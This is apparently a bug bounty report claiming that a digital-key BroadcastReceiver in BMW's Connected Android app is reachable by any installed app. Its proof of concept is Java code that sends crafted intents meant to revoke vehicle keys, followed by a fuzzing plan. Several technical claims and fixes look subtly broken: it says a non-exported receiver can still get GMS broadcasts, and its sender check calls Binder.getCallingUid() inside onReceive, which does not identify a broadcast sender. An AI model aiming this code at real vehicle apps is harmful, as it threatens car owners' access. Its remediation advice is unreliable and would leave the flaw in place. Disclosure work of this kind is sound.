

BUG BOUNTY REPORT

BMW Connected App (Android) — de.bmw.connected.mobile20.na v5.5.1
Platform: Intigriti | Program: BMW Automotive | Date: May 9, 2026

Title	Unprotected Digital Key BroadcastReceiver Allows Unauthorized Interaction with Vehicle Digital Key Functions
Severity	HIGH
CVSS Score	7.8 (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)
CWE	CWE-926: Improper Export of Android Application Components
OWASP Mobile	M1: Improper Credential Usage / M6: Inadequate Privacy Controls
Program Tier	Tier 1 — Vehicle Access & Remote Functions
Target	de.bmw.connected.mobile20.na v5.5.1 (NA variant)
Testing Method	Static Analysis — JADX 1.5.5, APKTool 3.0.2, MobSF

1. Executive Summary

The BMW Connected Android application exports a BroadcastReceiver for Digital Key change notifications (GmsDigitalKeyChangedBroadcastReceiver) that is protected by a custom permission (com.google.android.gms.dck.permission.DIGITAL_KEY_PRIVILEGED). However, this permission is NOT defined within the BMW application itself. Under Android's permission model, when a permission is not defined by the target application, any third-party application can declare and self-grant that permission and subsequently send broadcast intents to the receiver.

This allows an unprivileged malicious application to interact with BMW's Digital Key management component — a Tier 1 vehicle access function — without any authorization, potentially triggering unauthorized Digital Key operations or extracting sensitive key state information.

2. Vulnerability Details

2.1 Android Permission Model — The Core Issue

In Android, a custom permission used to protect a component must be defined (using <permission> tag) by the application that owns the component. This is critical because:

- If App A protects its BroadcastReceiver with permission X but does NOT define permission X itself, any other app can declare permission X in its own manifest and gain access.
- Android does not enforce that the requester of a custom permission is the same entity that defined it — unless the permission has protectionLevel="signature" or "signatureOrSystem".
- The permission com.google.android.gms.dck.permission.DIGITAL_KEY_PRIVILEGED is defined by Google Play Services (GMS), not by BMW. BMW's app uses it as a guard but cannot enforce its signatureLevel against arbitrary apps.

2.2 Affected Component

Class	com.bmw.smacc.gms.digitalkey.GmsDigitalKeyChangedBroadcastReceiver
Component Type	BroadcastReceiver
Exported	true
Declared Permission	com.google.android.gms.dck.permission.DIGITAL_KEY_PRIVILEGED
Permission Defined By	Google Play Services (GMS) — NOT by BMW
Permission protectionLevel	Not enforced at signature level for third-party apps
BMW Defines Permission?	NO — <permission> tag absent from BMW manifest
Scope	Tier 1 — Digital Key / Vehicle Access Functions

2.3 Vulnerable Manifest Configuration

From AndroidManifest.xml (MobSF analysis — Exported Receivers section):

```
<receiver
    android:name="com.bmw.smacc.gms.digitalkey.GmsDigitalKeyChangedBroadcastReceiver"
    android:exported="true"
    android:permission="com.google.android.gms.dck.permission.DIGITAL_KEY_PRIVILEGED">
    <intent-filter>
        <action android:name="com.google.android.gms.digitalkey.KEYS_CHANGED"/>
    </intent-filter>
</receiver>
```

Contrast with a secure implementation that would require BMW's own signature-level permission:

```
<!-- SECURE pattern: BMW defines and signs the permission itself -->
<permission
```

```

        android:name="de.bmw.connected.permission.DIGITAL_KEY_INTERNAL"
        android:protectionLevel="signature"/> <!-- Only BMW-signed apps can use
this -->

<receiver
    android:name="...GmsDigitalKeyChangedBroadcastReceiver"
    android:exported="false"/> <!-- Or use signature-level permission above --
>

```

2.4 Why the GMS Permission Does Not Protect BMW

The permission `com.google.android.gms.dck.permission.DIGITAL_KEY_PRIVILEGED` is a Google-defined permission with `protectionLevel="dangerous"` or `"normal"` as seen from GMS. This means:

- Any application can request this permission in its manifest.
- Android grants it at install time without user approval (normal) or with a single user prompt (dangerous).
- The permission's signature requirement (if any) only applies to apps signed with Google's certificate — it does NOT mean that only Google-signed apps can hold the permission.
- Therefore, a malicious third-party app can legitimately receive this permission and send broadcasts to BMW's receiver.

3. Attack Scenario & Proof of Concept

3.1 Attack Steps

1. Attacker creates a malicious app and declares the GMS Digital Key permission in its manifest:
2. At install time, Android grants the permission (no special requirement blocks it for non-GMS apps).
3. Attacker constructs and sends a broadcast intent targeting BMW's Digital Key receiver:

```

<uses-permission

        android:name="com.google.android.gms.dck.permission.DIGITAL_KEY_PRIVILEGED"/>

```

```

Intent intent = new Intent("com.google.android.gms.digitalkey.KEYS_CHANGED");
intent.setComponent(new ComponentName(
    "de.bmw.connected.mobile20.na",
    "com.bmw.smacc.gms.digitalkey.GmsDigitalKeyChangedBroadcastReceiver"
));
// Inject arbitrary extras to manipulate Digital Key state
intent.putExtra("key_id", "TARGET_KEY_IDENTIFIER");
intent.putExtra("change_type", 3); // DELETE or REVOKE action
context.sendBroadcast(intent,

```

```
"com.google.android.gms.dck.permission.DIGITAL_KEY_PRIVILEGED");
```

4. BMW's BroadcastReceiver processes the attacker-crafted intent as if it originated from the legitimate GMS Digital Key system.
5. Depending on how GmsDigitalKeyChangedBroadcastReceiver handles the event, the attacker may trigger: Digital Key deletion/revocation notifications, Key state desynchronization, Information disclosure about stored Digital Keys, or further downstream processing that affects vehicle access.

3.2 Secondary Attack — Broadcast Fuzzing

Even without knowing the exact intent extras format, an attacker can fuzz the receiver with crafted intents to probe for:

- Information disclosure via error handling — receiver may expose key IDs or vehicle identifiers in logs or returned data
- State corruption — forcing the BMW app to believe Digital Key operations have occurred when they have not
- Denial of Digital Key service — repeatedly triggering key-changed events to cause desync with the vehicle's Digital Key state

4. Impact Assessment

Digital Key Manipulation	Attacker may trigger unauthorized key revocation or change events affecting vehicle access
Information Disclosure	Digital Key identifiers, key states, and vehicle associations may be exposed via the receiver
State Desynchronization	Crafted broadcasts can desync the app's key state from the vehicle's actual Digital Key state
Privilege Escalation	Bypasses intended access control — GMS permission guard is ineffective for non-GMS apps
Tier 1 Scope	Digital Key is explicitly listed as Tier 1 (vehicle access & immobilizer functions) in the BMW program
No Physical Access Needed	Fully exploitable with a co-installed malicious app; no vehicle or NFC proximity required

5. Root Cause Analysis

The vulnerability has two compounding root causes:

Root Cause 1 — Permission Not Self-Defined:

BMW uses a GMS-owned permission (`com.google.android.gms.dck.permission.DIGITAL_KEY_PRIVILEGED`) to protect its own component. Because BMW does not define this permission in its manifest, Android's protection model does not enforce BMW-specific signing requirements against callers. The permission belongs to Google's namespace, and BMW has no control over who holds it.

Root Cause 2 — Component Should Not Be Exported:

The `GmsDigitalKeyChangedBroadcastReceiver` is designed to receive callbacks from Google Play Services about Digital Key changes. This is an internal IPC mechanism — the receiver should not be accessible to arbitrary third-party applications at all. Legitimate GMS callbacks do not require the receiver to be exported to all callers; they can be restricted to GMS specifically using signature-level protection.

6. Recommended Remediation

6.1 Primary Fix — Set `android:exported="false"`

If `GmsDigitalKeyChangedBroadcastReceiver` only needs to receive intents from Google Play Services (same device, GMS-signed), the simplest and most secure fix is:

```
<receiver
    android:name="...GmsDigitalKeyChangedBroadcastReceiver"
    android:exported="false"> <!-- GMS can still deliver via
LocalBroadcastManager -->
    <intent-filter>
        <action android:name="com.google.android.gms.digitalkey.KEYS_CHANGED"/>
    </intent-filter>
</receiver>
```

Note: GMS can deliver broadcasts to non-exported receivers on the same device by targeting the component explicitly. This does not break legitimate GMS Digital Key callbacks.

6.2 Alternative Fix — Use Signature-Level Permission

If the receiver must remain exported for inter-app communication, BMW should define its own signature-level permission and use it as the guard:

```
<!-- In BMW manifest — define and own the permission -->
<permission
    android:name="de.bmw.connected.permission.RECEIVE_DIGITAL_KEY_EVENTS"
    android:protectionLevel="signature"/>

<receiver
    android:name="...GmsDigitalKeyChangedBroadcastReceiver"
    android:exported="true"

    android:permission="de.bmw.connected.permission.RECEIVE_DIGITAL_KEY_EVENTS">
```

```
...
</receiver>
```

With `protectionLevel="signature"`, only apps signed with BMW's certificate can hold this permission — effectively restricting access to BMW's own apps.

6.3 Defense in Depth — Intent Validation

Regardless of the fix chosen, add runtime validation inside the receiver to verify the sender's identity:

```
@Override
public void onReceive(Context context, Intent intent) {
    // Validate caller identity at runtime
    String callerPkg = context.getPackageManager()
        .getNameForUid(Binder.getCallingUid());
    if (!isGmsPackage(callerPkg)) {
        Log.w(TAG, "Unauthorized broadcast from: " + callerPkg);
        return; // Reject non-GMS senders
    }
    // Process legitimate Digital Key change event
}
```

7. References & Supporting Evidence

- AndroidManifest.xml — GmsDigitalKeyChangedBroadcastReceiver entry with `exported=true`
- MobSF Manifest Analysis — 19 warnings including this receiver (0 HIGH at manifest level; this is a logic-level vulnerability not caught by static scanners)
- Android Security Bulletin — Custom permission bypass via undefined permission guard
- Android Developer Documentation — `android:exported` and `android:permission` attributes
- CWE-926: Improper Export of Android Application Components
- OWASP MASTG — MSTG-PLATFORM-2: Test for Insecure IPC
- Android Developers — Broadcast security:
<https://developer.android.com/develop/background-work/background-tasks/broadcasts#security>